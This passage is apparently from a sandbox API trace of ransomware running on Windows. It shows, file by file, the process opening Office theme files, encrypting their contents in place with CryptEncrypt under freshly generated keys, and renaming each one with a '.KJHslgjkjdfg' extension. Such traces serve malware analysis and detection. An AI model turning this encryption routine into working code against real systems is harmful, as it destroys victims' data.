files\\microsoft office\\document themes 14\\aspect.thmx.kjhslgjkjdfg")) returned 1 [0219.732] CloseHandle (hObject=0x124) returned 1 [0219.732] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4067b900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4067b900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1763b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Austin.thmx", cAlternateFileName="AUSTIN~1.THM")) returned 1 [0219.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0219.734] GetProcessHeap () returned 0x990000 [0219.734] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.734] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.734] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0219.734] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x5, lpOverlapped=0x0) returned 1 [0219.737] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0219.737] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.737] GetProcessHeap () returned 0x990000 [0219.737] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.738] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0219.738] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0219.738] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0219.738] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0219.738] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0219.738] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0219.738] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0219.738] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0219.738] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0219.738] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.738] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.738] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1763b, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x1763b, lpOverlapped=0x0) returned 1 [0219.740] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x17640, dwBufLen=0x17640 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x17640) returned 1 [0219.741] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.741] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x17640, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x17640, lpOverlapped=0x0) returned 1 [0219.742] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0219.742] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x17714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.742] SetEndOfFile (hFile=0x124) returned 1 [0219.744] GetProcessHeap () returned 0x990000 [0219.744] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.744] GetProcessHeap () returned 0x990000 [0219.744] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.744] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx.kjhslgjkjdfg")) returned 1 [0219.746] CloseHandle (hObject=0x124) returned 1 [0219.746] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x668d5900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x668d5900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9ff03, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Black Tie.thmx", cAlternateFileName="BLACKT~1.THM")) returned 1 [0219.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0219.748] GetProcessHeap () returned 0x990000 [0219.748] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.748] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.748] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0219.748] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xd, lpOverlapped=0x0) returned 1 [0219.751] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0219.751] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.751] GetProcessHeap () returned 0x990000 [0219.751] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.751] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0219.751] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0219.751] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0219.751] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0219.751] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0219.751] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0219.751] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0219.751] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0219.752] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0219.752] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.752] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.752] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9ff03, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x9ff03, lpOverlapped=0x0) returned 1 [0219.765] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x9ff10, dwBufLen=0x9ff10 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x9ff10) returned 1 [0219.771] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.772] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9ff10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x9ff10, lpOverlapped=0x0) returned 1 [0219.774] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0219.774] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9ffe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.774] SetEndOfFile (hFile=0x124) returned 1 [0219.778] GetProcessHeap () returned 0x990000 [0219.778] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.778] GetProcessHeap () returned 0x990000 [0219.778] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.778] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx.kjhslgjkjdfg")) returned 1 [0219.780] CloseHandle (hObject=0x124) returned 1 [0219.780] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ccef00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4ccef00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x18c11, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Civic.thmx", cAlternateFileName="CIVIC~1.THM")) returned 1 [0219.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0219.783] GetProcessHeap () returned 0x990000 [0219.783] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.783] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.783] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0219.783] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xf, lpOverlapped=0x0) returned 1 [0219.785] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0219.786] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.786] GetProcessHeap () returned 0x990000 [0219.786] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0219.786] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30) returned 1 [0219.786] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0219.786] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f8*=0x30, lpOverlapped=0x0) returned 1 [0219.786] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0219.786] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0219.786] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0219.786] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0219.786] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0219.786] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0219.786] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.786] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.786] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x18c11, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x18c11, lpOverlapped=0x0) returned 1 [0219.789] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x18c20, dwBufLen=0x18c20 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x18c20) returned 1 [0219.790] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.790] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x18c20, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x18c20, lpOverlapped=0x0) returned 1 [0219.790] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0219.790] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x18ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.790] SetEndOfFile (hFile=0x124) returned 1 [0219.792] GetProcessHeap () returned 0x990000 [0219.792] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0219.792] GetProcessHeap () returned 0x990000 [0219.792] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.792] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx.kjhslgjkjdfg")) returned 1 [0219.794] CloseHandle (hObject=0x124) returned 1 [0219.794] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fb4000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x43fb4000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x105f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Clarity.thmx", cAlternateFileName="CLARIT~1.THM")) returned 1 [0219.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0219.796] GetProcessHeap () returned 0x990000 [0219.796] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.796] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.796] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0219.796] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xc, lpOverlapped=0x0) returned 1 [0219.798] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0219.798] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.798] GetProcessHeap () returned 0x990000 [0219.798] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.798] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0219.798] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0219.798] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0219.798] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0219.798] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0219.798] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0219.798] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0219.799] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0219.799] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0219.799] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.799] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.799] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x105f4, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x105f4, lpOverlapped=0x0) returned 1 [0219.803] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x10600, dwBufLen=0x10600 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x10600) returned 1 [0219.804] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.804] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x10600, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x10600, lpOverlapped=0x0) returned 1 [0219.804] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0219.804] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x106d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.804] SetEndOfFile (hFile=0x124) returned 1 [0219.807] GetProcessHeap () returned 0x990000 [0219.807] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.807] GetProcessHeap () returned 0x990000 [0219.807] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.807] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx.kjhslgjkjdfg")) returned 1 [0219.810] CloseHandle (hObject=0x124) returned 1 [0219.810] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a20e000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6a20e000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8ad4d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Composite.thmx", cAlternateFileName="COMPOS~1.THM")) returned 1 [0219.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0219.812] GetProcessHeap () returned 0x990000 [0219.812] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.812] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.812] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0219.812] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, 